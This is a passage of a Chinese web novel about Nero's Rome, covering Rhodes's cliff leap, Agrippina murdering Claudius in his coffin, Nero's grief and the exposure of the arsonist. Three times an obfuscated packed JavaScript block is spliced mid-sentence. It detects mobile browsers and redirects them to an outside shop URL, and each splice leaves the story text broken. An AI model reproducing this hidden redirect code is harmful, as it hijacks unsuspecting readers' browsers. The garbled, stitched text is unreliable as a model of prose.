罗德转过身,垂着眼睫懒懒看他,那双通透的黑眼睛冷不丁撞过来。
他以阅尽人事之眼,看破整个世界不过是生灭和衰变的组合。但他此刻妄图从万千流逝之中,强行给这一刻命名为永恒。
他忽然凑近,用力吻尼禄一下,凑到他耳边说:“这次换我。”
山风猛烈灌进尼禄的耳朵。他依稀听见这句话,头皮发麻。
就象之前奋不顾身倒进他怀里一样,罗德推开他,闭着眼睛,直直倒向山边的云雾里。
他无声无息地消失了,一瞬间而已。
尼禄还很懵,没意识到罗德已经跳崖,就象圣徒跟随神明一样,出于本能跟上去,也要踩到云雾里。身后的近卫涌上来,七手八脚地抓住他。
尼禄在混乱中跪在山边,愣愣的神情,象痴傻一样,用手来回抓着翻滚的白雾。
翻开手掌,白雾蒸发般散去。尼禄眼角鲜红,死盯僵白的手掌。
这一瞬间,他听到自己这一生所经历的一切痛苦,同时迸发出嘲笑。
轰的一声,脑海聒噪起来,脊柱仿佛硬生生抽离身体。尼禄昏死在崖边。
58. 克劳狄乌斯之死
尼禄最爱的亲卫自杀,成了坊间爆炸性的话题。罗马的文艺领域得到新的灵感,戏剧和音乐一时涌现不少悲剧故事。
人们普遍对死者更宽容,更何况是自杀这种悲壮色彩的死亡。天性解放的罗马人崇尚死亡和爱情,罗德的死同时符合这两点。于是舆论陡然扭转,从讽刺转向美化他们的关系。
然而,这件事很快就被另一个新闻盖过风头:皇帝病危。
这意味着罗马要易主了。
阿格里皮娜坐在铜镜前梳妆,用黑头纱挽出式样朴素的发髻。她看起来很平静。
女奴用潮湿的木条沾取雌胭脂虫的脂肪,试图涂在她紧抿的嘴唇上。
“我不涂口红。”阿格里皮娜瞪她一眼,拿起木梳梳理鬓边的碎发。
刚给医生结完账的家奴走过来。所有种类的奴隶中,家奴地位最高,相当于管家。
他语气谨慎地说:“可是……主人病危,素淡的嘴唇在这种时候会被看做不详的兆头。”
阿格里皮娜回头。她背后就是躺在病榻上的克劳狄乌斯。
克劳狄乌斯眼窝黑紫,脸色蜡黄,下巴消瘦得现出道道沟壑。四周药草的烟气缭绕,象海底的虫蟊一样游进他的鼻孔和嘴缝。
上次的晚宴结束后,他开始频繁呕吐和腹泻。他的症状是严重的食物中毒,但跟他一起进餐的屋大维娅和年轻贵族却都安然无恙。这几天他甚至开始尿血,迅速衰弱下去。
阿格里皮娜瞅他一眼,回过头,继续不紧不慢装饰仪容,“没看见我已经戴上了黑头纱吗?医生告诉我说,我的叔父快要咽气了。”
她瞟一眼家奴,平淡地说:“去给元老院传个口信。皇帝已死,从现在起,罗马城所有的奴隶都得穿黑丧服,所有女人不准化妆,更不准涂鲜艳的口红,所有喜庆的婚礼必须取消。”
家奴先是怔一下,说:“主人还没彻底咽气……现在您就要通报吗?”
“对。”她放下木梳,意味深长地看他一眼,“与其对你的女主人指手画脚,不如趁着现在给你的男主人换上火葬时穿的葬服。等他的身体变冷变硬,可就很不方便穿了。”
家奴的冷汗洇湿一片。
阿格里皮娜站起身,将一块完整的黑丝绸披在身上,扣好铅灰色的搭扣。
她踩过一地花花绿绿的马赛克地板,来到床前,伸出一根指头,指甲盖轻轻刮过克劳狄乌斯黢黑的眼圈。忽然,两根指头扒开他的眼皮。
阿格里皮娜仔细检查他的瞳孔,对奴隶吩咐道:“抬进来棺木吧。”
奴隶们愣住。按照规矩,人死后的身体应当静放一夜,以假死是否假死。
“怎么?我命令不动你们了吗?”阿格里皮娜语气严厉,“我是罗马的皇后,是你们的女主人,是唯一一个有能力蓄养你们的人。”
奴隶纷纷走动起来,一个个讳莫如深的脸色。
家奴拿来火葬时用的黑葬服,忧虑地说:“需要派人去那不勒斯召回公主吗?主人昏迷时一直在喊她的名字。她是主人最牵挂的人……”
那天晚宴后,为了让屋大维娅和阿斯迅速建立感情,阿格里皮娜专门给两人拨一笔钱,让他们去外省的那不勒斯游玩。
“不必。”阿格里皮娜说,“就让她和那个小法官好好相处吧。叔父最希望他的女儿能嫁出去,我要替他完成这个心愿。”
入殓师携着化妆箱前来,给皇后下跪行礼,走到烟气缭绕的床头。
他挖出一点蜂蜜,加入油脂和一点点铅白,制成死人用的粉底,涂在克劳狄乌斯脸上。
在指肚碰上皇帝的脸皮时,入殓师感受到人体的温热。他意识到皇帝其实尚未死亡,诧异地回过头。
阿格里皮娜又阴又冷的棕眼睛看过来,透过灵异旋绕的烟雾,她的视线好象一条湿气中爬行的蛇。
入殓师被这个视线吓到,硬生生把到嘴边的话憋回肚里。
“化好妆之后,直接装棺。”阿格里皮娜在温水里洗了脚,换上一双黑宝石镶嵌的鞋子,“今晚直到明天火葬,全程都由我来守灵。”
家奴给克劳狄乌斯系上葬服的搭扣,想了一会,问道:“需要我通知多米提乌斯大人过来吗?”
阿格里皮娜顿一下,穿鞋的动作慢一拍,问道:“尼禄还是没出门吗?”
“他把自己锁进屋里,谁都不愿意见。”家奴说,“他的家奴怕主人出事,在窗框上凿个小洞,每过一会就往屋里偷看一眼。”
阿格里皮娜蹬好鞋,问道:“打捞队的人有收获吗?洪水淹到了半山腰,听说尼禄在清醒后命令打捞队搜了三天三夜。”
“一无所获。水流很急,打捞队员们都认为生存的希望很小。”家奴唉声叹气,“虽然因为有水不至于摔得粉身碎骨,但从那么高的山顶跳下来,一定会被水拍到休克。再加上现在是寒冷的冬天……”
阿格里皮娜默默听着,问道:“尼禄呢?他现在怎么样了?”
“状况不太好……”家奴说,“据说大人总是盯着一只黑手套,一会穿上一会又摘下。这几天他不吃不喝,什么都不做,就只重复这一个动作。”
阿格里皮娜的棕眼睛发出冷峻的光。她凝重地说:“别让他过来了,我允许他通过悲痛和死去的爱人再享受一天的二人世界。等到明天火葬之后,我会亲自从屋里把他拽出来。”
家奴点了点头,将黑铁打造的葬鞋套在克劳狄乌斯脚上。
……
入夜,化好妆的皇帝装殓完毕,摆在宴会厅的正中央。
黑丧服的奴隶们往地上泼水,再扫净地面。女奴把白蜡烛插遍烛台,餐桌布和门帘都换成黑色。家奴指挥一帮年轻力壮的男奴,在庭院竖起石膏像和神龛。厨师们生起柴火,往烤乳猪的肚子里装藏红花和水果,用于供奉冥神。
他们在为明日盛大的葬礼做准备。
阿格里皮娜站在按照克劳狄乌斯面孔制作的石膏像前。她盯着石膏像,一脸沉思的表情。忽地,她抬手,用丝帕擦掉落在石膏上的灰尘。
“石膏像和棺材上绝不能落一粒灰尘。”她出声训斥奴隶,“明天会有数不清的贵族在石膏像前悼念,他的棺材会一路接受跪拜,一直送到广场火葬。如果连这两样都脏兮兮,人们会嘲笑皇室的。”
一名听话的女奴拿起丝布,走去宫殿擦棺材。两个奴隶用砂纸打磨石膏,再拿湿抹布擦净。
阿格里皮娜叫来家奴:“司葬都安排好了吗?”
“安排好了,包括演员和乐师,他们个个精通歌唱和七弦琴。”家奴说,“火葬之后,会在剧场举办角斗士竞技。胜出的角斗士会得到消除奴籍的待遇。但是……”
阿格里皮娜斜去眼睛,“但是什么?”
“用来陪葬的泪瓶还没准备好。”家奴小心翼翼地说,“但现在……公主还不知道主人去世的事实。”
泪瓶是一种细颈玻璃瓶,是殉葬品。泪瓶要装逝者恋人或亲人的眼泪,并和逝者一起放进棺木。罗马人相信,有了泪瓶,就算逝者去了冥府,也会有亲爱的人陪着;等到亲爱的人百年之后,也会跟着泪瓶回到逝者身边。
家奴埋着头,不敢看阿格里皮娜的眼睛,轻声问道:“除了公主,主人还需要您也为他流几滴眼泪……”
阿格里皮娜斩钉截铁地说:“我的眼泪早就流干了,它们都在我第一任丈夫的泪瓶里。等我死后,我要去他那边…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239675|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”
话音未落,一名女奴慌慌张张地飞奔过来。她跑得太急,跑掉的一只鞋趿拉在后面,鞋带还绑在她的脚踝上。
这是刚才去宴会厅擦棺材的女奴。
没等阿格里皮娜开口,家奴率先斥责道:“皇室的奴隶怎么能变得这样狼狈?”
“主……主人……”她叫喊道,“棺材……棺材里有动静……”
阿格里皮娜的面色骤然深沉,深陷的眼窝中一片黑翳。
“一定是冥神显灵,我去看看怎么回事。”她一边有条不紊地朝宫殿走,一边对奴隶吩咐道,“替我把门窗关上,所有人都不准靠近。卑贱的奴隶不得触犯神明。”
宫殿的门窗全部关阖。阿格里皮娜走到棺材前,四周尽是静止的白烛光,密集得象坐落海底的珊瑚绒毛,显得十分圣洁。
棺材里传出咚咚声响,棺材盖随之一震一震,灰尘从缝隙间簌簌而落。这个声音仿佛反弹的皮球,在殿堂的墙壁和支柱间来回反弹,萦绕不断。
阿格里皮娜盯着棺木,白皙的手指落在震动的棺盖上,轻抚浮雕上的小天神。
“你为什么还不死呢?叔父。”她这么说着,用力推开木棺盖。
克劳狄乌斯眼睛睁到最大,乌黑的嘴唇咕哝着,发出嘶嘶的气声,套着铁丧鞋的脚还在蹬踹棺材。因为窒息,他身体扭曲,脸皮呈现出一道道枝桠般的紫色。
“阿格……阿……”克劳狄乌斯从喉咙里挤出侄女的名字,指甲疯狂地抓挠棺材。
阿格里皮娜怕他的喊声引来奴隶,连忙用手捂住他的口鼻。
“为了我的丈夫,我不得不这么做……”因为用力她满脸涨红,“再也不会痛苦……叔父,再也不会痛苦了。受了这么多天的罪,您该解脱了……”
克劳狄乌斯左右摇着脑袋,瞪大乌紫的眼睛死盯他的侄女,在她的指缝间喷出药草味的热气。他双手扒着棺材边,差点就要坐起来。
他一直呜噜呜噜地说着什么,很难听清。
阿格里皮娜差点按不住他,改用双手猛掐他的脖子,“不要再反抗死亡了……您活了六十四岁,当了十四年皇帝,应该知道知足。”
“屋……我……”克劳狄乌斯被她掐得窒息。
“不准出声!”阿格里皮娜象斥责奴隶一样斥责她的叔父,用尽全身的力气去掐他的喉咙,太阳穴的青筋暴起,“我会给您办一场风风光光的葬礼,会让史官只记你的政绩,让罗马的后代都念你的好……”
克劳狄乌斯挣扎得更厉害了。铁鞋踹得棺材噔噔作响。
他那两片紫黑的嘴唇合成一个小圈,含糊不清,“屋……屋……”
他闹出这么大动静,纵使是阿格里皮娜也慌张起来。
她变得歇斯底里,指甲掐进他的肉里,闭着眼睛低吼道:“我会给屋大维娅安排一个好归宿的!她很快就会结婚。这辈子我都会保全她、保全她未来的孩子,让她和她的后代都不失优越的皇室生活!”
听到这话,克劳狄乌斯忽然消停许多,象一个终于满足心愿的怨灵,选择放弃反抗。
阿格里皮娜大喜,象蛊惑似的说道:“你的女儿会幸福的。拜托你就乖乖死掉吧,我的叔父……”
克劳狄乌斯宛如被施咒,果真渐渐沉寂下去。
过了很久,阿格里皮娜松开手,全身都在发抖。她徒手杀死罗马的皇帝、自己的叔父,也是第二任丈夫,浑身大汗淋漓,慢慢瘫坐在地上。她满脸通红,四肢酸软,在地上喘了好一阵子。
许久之后,调整好呼吸,她转而笑了起来,笑声穿过密集的白烛光,烛芯微微振动。
她的叔父在棺材里眼睛半睁,彻底没了呼吸。
59. 长大的尼禄
正如阿格里皮娜承诺的那样,克劳狄乌斯以前所未有的规模、风风光光地下葬了。
他去世得太突然,遗嘱都没来得及立,更没有时间宣布新的储君。
因此,尼禄顺理成章地成为下一任皇帝。
阿格里皮娜带着御用的裁缝来到儿子的家宅。尼禄即将登基,需要合身的礼服和桂冠,以及一柄象征权力的权杖。
他躺在罗德经常躺的那颗榕树上,穿着罗德跳崖那天穿的白袍,姿势一动不动,就象结出一层茧子一样,浑身上下散发着坚硬。
尼禄消瘦很多,下颌瘦到显出骨形,很是刚毅。他的手腕骨突出,一只手戴着旧的黑皮革手套,绑带交叉缠绕结实的小臂。
在看到他时,阿格里皮娜吃了一惊。她本以为向来感性的儿子会一蹶不振,但尼禄实际比想象中坚强许多。
她从树下仰望他,不知怎的鼻子发酸,眼里涨起一层白雾,唤道:“尼禄……我的儿子。”
尼禄的睫毛往下阖,冷淡地扫了她一眼。
阿格里皮娜使劲眨了眨眼睛,将眼里的白雾驱走,恢复一贯的镇定。她环视庭院,几排铜箱银箱码垛在廊柱后,由丝绸捆扎着,箱面的浮雕很是精美。
“这几天收到不少礼物吧。”阿格里皮娜看着箱子说,“听说你回绝了很多贵族元老上门拜访的请求。”
尼禄瞟一眼脚下不远处的箱子,脸色冷漠,没搭理她。
阿格里皮娜叹口气说:“我理解你,尼禄。十三年前,我经历过跟你相同的遭遇。你的父亲死了,死在我的怀里。我当时哭晕了过去,醒来后真想和他一同死去,但他的遗言硬是让我多活了十三年。”
她默默看向尼禄,问道:“你的亲卫留下遗言没有?只有把爱人的心愿当成自己的心愿,才能有活下去的理由……”
“我们不一样。”尼禄忽然出声,“罗德没有死。”
阿格里皮娜轻轻一笑:“当年我也这么欺骗自己。可湍急的洪水、结冰的冬天……你觉得,他能支撑多久呢?”
尼禄沉默不语,眉头倒挂着不住颤抖。他强行将悲痛压制下去,眼睛充血,坚毅地说:
“除非我亲眼见到他失去心跳、失去呼吸,否则我就不会放弃寻找他。我这一生都悲观对待所有事;但唯有这件事,我一定要乐观。现在全世界都在放弃他、以死亡为借口渐渐遗忘他。但我不能这样,因为我是他的男人,不是一个只会哭的懦夫!”
“噢……我可怜的孩子……”阿格里皮娜摇了摇头。
尼禄继续说道:“罗德说过,永远不会把后背留给我。我同样也是,无论他是生是死。”
“你不能这样。”阿格里皮娜满脸的复杂神情,“你得学会接受这一切,我的儿子……”
“我不接受!”尼禄打断她说,“我不要对命运逆来顺受,不要在大悲之后自我疗愈,不要在没有罗德的时间里展开什么新的人生!”
阿格里皮娜皱起眉,严厉地训责道:“难道你偏要和命运的力量抗衡吗?!你太不自量力……”
“对。”尼禄猛然攥紧戴着黑手套的手,“我偏要让寒冰有温度,要让残酷生出浪漫,要让悲剧迸发出笑声。”
“荒唐……”阿格里皮娜还保持着严肃的神情,但声音却变得虚弱。
“你做不到的,尼禄。或许你该少看些热血上脑的英雄事迹。就算是‘我来,我见,我征服’的恺撒,结局也是被一众元老捅死在台阶上……”她语气沉重地说。
尼禄斜母亲一眼,松开攥紧的拳头,淡淡地说:“做不到也无所谓。命运怎么安排是他的事,我要在他的压制下争取最大限度的自由。”
阿格里皮娜睁大双眼。这些话语象打铁一样一下下击打她。她瞬间想到当年元老院里意气风发的丈夫。
那时,年轻的多米提乌斯用希腊语做演讲,元老们质疑他的措辞不尊重神明。
“为何非要和神明平起平坐?”白袍的多米提乌斯神色冷峻,气质是浑然天成的霸气,“看看神话里讲的吧,朱庇特充满色│欲和贪念,也没什么了不起!”
这是她第一次见到他。随着父亲和哥哥来元老院旁听的阿格里皮娜,对这个霸气又帅气的青年一见钟情。
阿格里皮娜在泪眼婆娑中冲白袍的儿子说:“你真的长大了,尼禄……”
这时,家奴从门口走来,对母子俩禀报说:“主人,有位燃料商想拜访您,他就站在门口,不停地摇铃铛。”
阿格里皮娜悄然抹去眼角的泪花,板起脸说:“商人?想在新帝面前推销自己吗?直接赶走他……”
尼禄躺在树上自言自语道:“燃料商……”
他一阵思索,猛地从树干上弹坐起来,高声问道:“他叫什么?”
“好像叫维吉尔。”家奴说,“但他的姓氏并非贵族。”
尼禄从树上跳下来,命令道:“让他进来。”
阿格里皮娜疑道:“你怎么能让一个连骑士都不是的商人进入家宅?”
“我认得这个人。”尼禄经过她时说,“他是罗德的朋友。”
……
一身肥肉的维吉尔见到尼禄时,没有再谄媚地巴结了。他风尘仆仆,满脸严肃的神情,安安分分地为尼禄下跪行礼。
“我昨天才回到罗马,之前一直在高卢进货。”维吉尔说,“一进罗马城我就听说……”
他静悄悄瞄尼禄一眼,又低下头去,“几乎所有人都在讨论这件事。”
尼禄冷着脸说:“如果你是来给罗德悼念的,那大可不必。他只是下落不明,并没有死。”
“不是。”维吉尔认真地说,“和你一样,我不相信他就这么死了。这么多年,我和他同吃同住,深知他的强大。他是掉进蛇窟、都能一边吃着烤蛇肉一边悠闲走出来的人。”
尼禄想象
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239676|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着罗德黑衣黑发、行事利落的样子,心里一阵钝痛。他咽一下涨得酸痛的喉咙,克制着情绪说道:“看在你和罗德交情的份上,我可以购买你的燃料,用在典礼上。”
“哦不……我今天过来,不是来推销燃料的。”维吉尔想了想说,“虽然和燃料的确有那么一点关系。”
尼禄抬眼,若有所思地望着他。
维吉尔从怀里拿出一张皱巴巴的羊皮纸,上面的字迹依稀可见。
“这是购买燃料的合同,是我一个月前和维斯塔神庙的大贞女签订的。她一次性购买三个月的量,当时还是我和几个奴隶一起把货搬卸到仓库的。”
尼禄接过合同,仔细研究合同的章印。章印的材料是朱砂,图案是一炬圣火。整个罗马只有官方的神庙能蘸朱砂作章印,图案也是唯一的。
维吉尔又掏出另一张合同。这张合同更新更平整。
“就在昨天晚上,大贞女又给我捎来紧急口信,说是燃料短缺,让我尽快送货。”维吉尔凝重地说,“我不明白为什么神庙的燃料耗得比浴场的橄榄油还要快,这让我不得不联想到拉丁姆那场原因未知的大火。”
尼禄忽然觉得一阵窒息。
“罗德就是因为那场火,而被皇帝治罪的吧。哦……”维吉尔畏畏缩缩地看他一眼,补充道,“应当是上一任皇帝了。”
尼禄捏着合同,前额的青筋突突直跳,“你有没有问大贞女,库存充足的燃料为什么会短缺?”
“没问。”维吉尔缩了缩脖子,“我不敢问。我只是一个卑微的商人,祭祀、圣火这样圣洁的事务,是容不得受人鄙夷的商人插嘴的。”
他挺直大腹便便的身体。身材发福的他竟显得有一点庄严,“如果是平常的燃料商,就会老老实实地供货,还会窃喜多赚一笔。但我不一样。罗德是我出生入死的战友,是科西嘉最优秀的军人,最后却被逼自杀。老实说,我不服,所以我要把任何可能危害过他的事讲出来。”
尼禄将两张合同叠在一起,深深呼吸,凝重地说:“谢谢你,维吉尔。”
“不必谢。和您一样,我也关心着他。”他瞅了瞅尼禄袖子上的紫色条纹,有点自卑地说,“只是我和您完全没法相比了……”
尼禄听到这话,脸色一变,无声无息地盯着他的脸,盯了很久。他的目光直直打在脸上,维吉尔觉得脸皮灼热,几乎忍受不住这种压力,将红透的脸深深埋下去。
许久之后,尼禄闷闷开口道:“还是要谢谢你,维吉尔。今天我就会查燃料异常的事。”
“这件事交给我。”阿格里皮娜在他背后冒出来。
尼禄转过身,这时他才以正眼看他的母亲。阿格里皮娜穿着黑丧服,黑绸缎制成的丧服在冬日暖阳下熠熠反光。
“你还未正式登基。我是皇后,有权处置一个贞女。”阿格里皮娜说,“我有一百种法子让她解释燃料为什么会异常。”
60. 真正的罪犯
拉丁姆区的大火是人为纵火。
门希·奥托。曾经的贵族、大祭司,也曾身为将军和皇帝并肩作战,却因为贩卖私盐晚节不保。现在又纵火,涉嫌以低价购买着火的房子以谋取地产。
招供的人是大贞女茱莉娅。当阿格里皮娜命人剃光她的头发、拔掉她的第一颗指甲时,她承认了门希借走燃料的事实。
法院重新检查火灾的遗骸,找出一些没烧尽的木材,和神庙的燃料做了比对。
为了让圣火抗风抗潮,神庙会在燃料里淋上一种含磷的药水。法院在没烧尽的木材里也检查出了这种药水的成分。
门希一夜之间成为罗马的通缉犯。
尤利乌斯刚刚从广场上的理发店回来。理发师给他剃干净胡须和鬓发,手脚指甲也做了修剪。
自从有门希,他遣散了一大批阉奴,重视起个人卫生。失去女儿和外孙的他做孤家寡人很久了,初恋的回归让他年轻了二十岁。
他走下马车,经过家宅旁边的街墙,那上面贴着门希的通缉令和悬赏金。
尤利乌斯双眼阴鸷,肥厚的鼻翼动了动,一把将通缉令撕下来。
门希从殿里走到门口迎接他,一身鲜亮的淡蓝色宽袍,金发抹了东方香油,他甚至用起口红。他的吃穿用度和主人无异,聪明的奴隶都把他当作夫人去对待。
“我的尤利尔回来了。”他浅浅笑着。
尤利乌斯在温水里洗手,打量他的金发碧眼,瓮声说道:“亲爱的,不是交代过你吗?你不能靠近门口,会被人发现的。要知道,现在全城都在找你,你的悬赏金足够买下十个商铺。”
说着,他很诚实地摸上门希的手,笑道:“不过……我喜欢你主动来接我,这让我有家的感觉。”
“我知道。”门希扶着他往屋里走,“没人比我更了解你。”
两人走过一幢幢画着裸|女壁画的墙壁,来到卧室。门希摘掉尤利乌斯的长袍,挂到鹰钩嘴制成的衣钩上。
一块黄金制的圆筒从长袍里滑落。门希捡了起来。
意识到这是调动军队的传令节时,他的眼光异动,握住金圆筒的手发抖。这种久违的触感洗劫了他的理智,门希弓起身体,顿感悲哀而激动。
“这是我的传令节。我的女儿麦瑟琳娜曾把它偷去妄图发动政|变。自那之后,出于谨慎,我一直贴身携带他。”尤利乌斯拿过金圆筒,随手挂在鹰钩嘴上,瞄门希一眼,“你的眼睛都红了,看起来很激动。”
“我只是太久没见过它、没摸过它了。”门希揉了揉涨红的鼻子,“曾经我也是征战四方的将军,手握无数传令节……我太想它了。”
“和你曾经手握的传令节比起来,我能调动的只算虾兵蟹将。”尤利乌斯一边穿丝缎睡衣一边说,“虽然是驻守罗马城的士兵,但数量少,素质又和近卫军没法比,不用去行省征战的他们早就习惯了散漫。”
门希做一次深呼吸,闭着眼睛说:“我失去了太多了……我的兵马,我的豪宅,我的身份。就连我的弟弟在牢狱里受苦,我都救不了他。现在,全罗马的人都恨不得拿到我的人头。”
尤利乌斯揽过他,拍了拍他的肩膀说:“我会对你好的,门迪,把你失去的都补偿回来。”
门希很快平静下来,眼角的鱼尾纹一夹,就挤出一个明晃晃的微笑,“谢谢你,尤利尔。”
尤利乌斯狡黠地瞧他一眼,凑近他说道:“亲爱的门迪……可以叫我一声主人吗?”
门希怔一下,然后悄无声息地推开他,又把传令节取下来,细细摩挲上面的母狼刻纹,说道:“你还是先把传令节放好吧,我的尤利尔。这种东西可不是闹着玩的。”
尤利乌斯知趣地挑了挑眉,将传令节塞进床头的小柜里。
门希走到玻璃窗前,彩色玻璃滤出的光将他的脸照得五颜六色。
“外面的世界怎么样了?”他透过彩色玻璃看向围墙外,“我已经很久没出门了。”、
尤利乌斯系好睡衣的领口,似乎冷笑一声,冷淡地说:“我的前女婿死了。”
门希仿佛被电击,表情瞬间狰狞起来,惊声道:“皇帝……死了?”
“他的葬礼就在三天前。”尤利乌斯说,“托他的福,浴场和剧院免费开放三天。浴池拥挤不堪,有个奴隶小孩被踩到池底里活活淹死了……”
门希没有耐心听完他讲话,直接问道:“皇帝是怎么死的?”
“食物过敏,至少皇宫的讣告是这么写的。不过,真实的死因谁知道呢,我也懒得探究。”尤利乌斯一脸嘲弄,不一会情绪却低落起来,难过地说,“老天爷夺去我的女儿和外孙,只留一个先天残疾、习惯抽大│麻的外孙女屋大维娅,和一个年纪比我还大的皇帝女婿。现在连女婿都死了。”
门希的咽喉滚动一下,问道:“新皇帝是谁?”
尤利乌斯嗤声,阴阳怪气地说:“还能有谁?当然是奥古斯都的直系血亲。除了尼禄,谁还具备这个资格?我已经预见到,他上台不久后就会撤回我手里仅存的兵力。看来我应该在那不勒斯买一处葡萄园,和你一起清闲渡过最后一段人生……”
门希抿起嘴,沉默起来,面露戾气,对他的提议没有反应。
……
屋大维娅和她热恋中的情人从那不勒斯回到罗马,首先面对的,就是父亲的死讯。
这时,克劳狄乌斯的葬礼已经办完三天。
屋大维娅弓着跟父亲一模一样的驼背,趴躺在地,抱住克劳狄乌斯的石灰像柱,声泪俱下,“为什么我要承受这个剧变?为什么我刚刚获得一个爱人就要失去最爱我的父亲……”
阿格里皮娜披着黑丝绸,神情冰冷,在角落里远远观望她。
屋大维娅的情人正是那天晚宴上被提点的小法官。他很机灵,找奴隶要来一件黑布,给自己裹上,安静地站到一侧。
屋大维娅哭得嗓音嘶哑,连丧服都没顾得上穿。她在小法官的搀扶下,慢慢起身,对角落的阿格里皮娜叫喊道:“你为什么不早告诉我?我的父亲垂危,我却在海边吃着龙虾和鱼籽……”
“叔父最大的心愿就是你能有个好归宿。”阿格里皮娜从通廊的阴影下走出,冷冰冰地说,“我在守护他的心愿。”
屋大维娅哭得更凶了,“对我最好的人已经没有了……从此以后,我将成为一个有苦无处说的哑巴……”
阿格里皮娜将手高高抬起,最终轻轻落到她隆起的驼背上,“别这么悲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239677|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
观,屋大维娅,你会适应的。”
屋大维娅用袖子抹掉眼泪,哭喊道:“倘若我能预知父亲此时逝世,我会天天陪他吃晚饭,戒掉大│麻,学着织毛纺布,我会是全世界最听话的女儿……我太后悔了……”
阿格里皮娜微微皱眉,冷峻的眼睛透出一些悲哀,“听我说,屋大维娅,人最无力的事不是死亡,而是无法预知死亡的时间。你的痛苦,我全部经历过。”
屋大维娅抹着眼泪。伤心过度的她必须由小法官搀扶才能站着。
阿格里皮娜冷眼打量小法官,一对棕色的眸目象蛇一样来回爬过他全身。这是唯一一个有可能威胁到她儿子的人了,尽管可能性微乎其微。
“脸上的伤好了吗?”阿格里皮娜看见他恢复如初的皮肤,明知故问,不冷不热的语气。
小法官下意识觉得冷,结巴着说:“是的……”
“看来你在那不勒斯过得很懒散。”阿格里皮娜别有用意,“听说,不喜欢勤勉的人,伤疤好得比别人快。”
小法官感受到灭顶的压力,冷汗直冒,思忖一会道:“我的确不勤勉,为此没少受到父亲的鞭笞。但我已经习惯懒惰了,一时半会改不了……”
阿格里皮娜端详他汗涔涔的脸,继续探问道:“让我替屋大维娅的父亲问你,你会射箭使剑吗?会骑马吗?读过多少书?”
小法官瓮声瓮气地说:“我只会骑马,而且得是幼马或者矮马。我只读过有关法律的书,其他领域涉猎不多。”
阿格里皮娜的眼光松了松,“可以,是个诚实的孩子。”
小法官擦了擦前额,有眼色的奴隶主动给他递来一块手帕。
阿格里皮娜凌然站在死去皇帝的石膏像前,以盘问的口气问道:“今后你有什么打算?”
小法官的喉头滚动一下,脸色煞白,思考很久后,才慢吞吞地开口:“我要和屋大维娅结婚,然后带着我的父母一起移居那不勒斯,远离罗马,在那里买下一块玫瑰园,从此过着以贩卖浪漫为生的日子……”
屋大维娅听到这话,宽慰地看了他一眼,不由得靠到他肩上。
小法官瞄阿格里皮娜一眼,小心翼翼地问道:“请问……这样可以吗?”
阿格里皮娜笑一声,有点皮笑肉不笑,轻轻地说:“当然可以。不过你要保持绝对的忠诚。不要以为和公主结婚,就可以逾越自己的阶层和身份。但凡有一点不忠,我都会命人剥掉你后背的皮,以及,拔掉全部的牙齿。”
小法官打了个冷颤,连连点头说:“我会献出全部的灵魂,这点毋庸置疑。”
处于恋爱的小女人屋大维娅啧啧两声,用胳膊肘碰他一下,顺势挽住他的手臂,嗔道:“我相信阿斯。他对我很好,愿意为我移居外省。我相信他会忠诚于我的。”
她一脸幸福,塌陷的鼻子冲天撅着,红肿的眼泡因为笑更鼓起来了,隆起的驼背象驼峰。
她的身材和脸蛋,时时刻刻都在彰显神明可以对一个女人赋予多大的恶意。
阿格里皮娜看了她一会,心里有些鄙夷。她转头,面向小法官问:“你喜欢屋大维娅什么?”
小法官看一眼紧贴自己的情人,想了想说:“我喜欢她的单纯。”
61. 得到一切与失去一切
登基典礼这天,尼禄需要盛装,在元老院会见所有道贺的元老。
除了元老,还有每个行省的总督和将军,包括曾经和尼禄一起作战的高卢总督雷珂。
再过几日,他还要乘坐马车游览全城,接受平民的欢呼。那将是更盛大的场面。
尼禄赤脚踩在羊毛毯上,脚趾缝间钻出羊毛。画师跪在地上,用油彩在他的两只脚背上画麦穗和油滴。这是对农业兴旺的希冀。
他的家奴走过来,禀报道:“乔维努斯已经在门口了。”
乔维努斯正是那天押解罗德的络腮胡。他是克劳狄乌斯的亲卫,跟随他从低微的保民官到皇帝,已经几十年,陪伴他的时间比麦瑟琳娜和阿格里皮娜加起来还要长。
“让他进来。”尼禄神色冷淡地点头,“另外准备几张羊皮纸和墨水,我需要拟典礼上用的演讲稿。”
乔维努斯从门口走过来,给新皇帝下跪,抬头与他对视。尼禄皮肤苍白,阴冷地盯着他,高挺的颧骨下有两片阴影。这一瞬间乔维努斯感觉直面恶鬼。
“知道我为什么叫你来吗?”尼禄俯视跪在地的络腮胡。
络腮胡保持着军人的冷静,凝重地说:“我想……我是来领死的。是我押解了您的亲卫,导致您失去了他。”
